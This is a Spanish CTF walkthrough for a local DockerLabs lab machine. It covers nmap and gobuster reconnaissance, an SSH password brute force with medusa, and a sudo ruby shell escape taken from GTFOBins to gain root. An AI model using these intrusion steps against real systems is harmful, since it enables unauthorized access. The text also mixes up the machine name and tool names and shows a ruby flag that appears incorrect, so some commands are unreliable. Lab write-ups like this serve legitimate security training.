Vacaciones
Introducción
En este artículo, explicaré cómo resolví el CTF de la máquina virtual Trust. Describo paso a paso las técnicas y herramientas utilizadas para encontrar y explotar las vulnerabilidades presentes.
Información de la Máquina Virtual
- Nombre: Trust
- Autor: Romabri
- Nivel de Dificultad: Muy Fácil
- Descripción: Fecha de creación: 02/06/2024
Paso 0: Instalación/Despliegue
- Descargamos la máquina desde la web de DockerLabs (opens in a new tab).
- Descomprimimos él .zip
unzip Vacaciones.zip
- ejecutamos el archivo de bash
sudo bash auto_deplo.sh Vacaciones.tar
Paso 1: Reconocimiento
Escaneo de la Red
Al desplegar la máquina me da la IP de la máquina, a sí que me evito el escaneo con Arp
Después creo una nueva carpeta con el nombre de la máquina para posteriormente entrar al directorio y usar la función mkt(Esta crea 4 carpetas, la llamada content, exploits, nmap y scripts) de mi terminal.
mkdir Vacaciones
cd Vacaciones
mkt
Ahora en la carpeta de nmap realizo un escaneo inicial para identificar los puertos abiertos y exportarlos a un archivo.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
Para proseguir con la extracción de los puertos que estaban abiertos del archivo
extractPorts allPorts
También para el escaneo de los servicios que corren.
nmap -sCV -p80 172.17.0.2 -oN targeted
Resultado:
Enumeración de Servicios
Ahora se enumeran los directorios de la página web que descubrimos por tener abierto el puerto 80.
gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,txt -t 200
Resultados:
Esto no das como resultado el index y otro llamado javascript en el cual no tenemos permiso para acceder al recurso,
En el archivo index parece haber un comando que nos vendrá de mucha ayuda
Paso 2: Explotación
Intentaremos hacer un ataque de fuerza bruta hacia el puerto 22(SSH) con hydra, para esto necesitaremos los dos usuarios para tratar de lograr identificar las credenciales de acceso
Este sería el comando a utilizar:
medusa -h 172.17.0.2 -u camilo,juan -P /usr/share/wordlists/rockyou.txt -M ssh
Nos ha encontrado qué camilo puede acceder vía SSH con la contraseña ******** Vamos a ingresar
Si hacemos búsqueda de permisos SUID o SUDO no tenemos nada vamos a ver si hay un correo como decía el texto que hay en el código fuente de la página web.
Nos dirigimos a /var/mail/camilo
y encontramos lo siguiente:
Elevación de Privilegios
juan
puede ejecutar como cualquier usuario ruby.
Después de esto usamos la herramienta searchbins
que nos facilita el acceso a GTFOBins
.
searchbins -b ruby -f sudo
Ahora solo falta escribir el comando que nos arroja, el cual es:
sudo ruby -c 'exec "/bin/sh"'
Con el cual ya tenemos usuario administrador
Notas
- La máquina tuvo el nivel de dificultad esperado, o sea muy fácil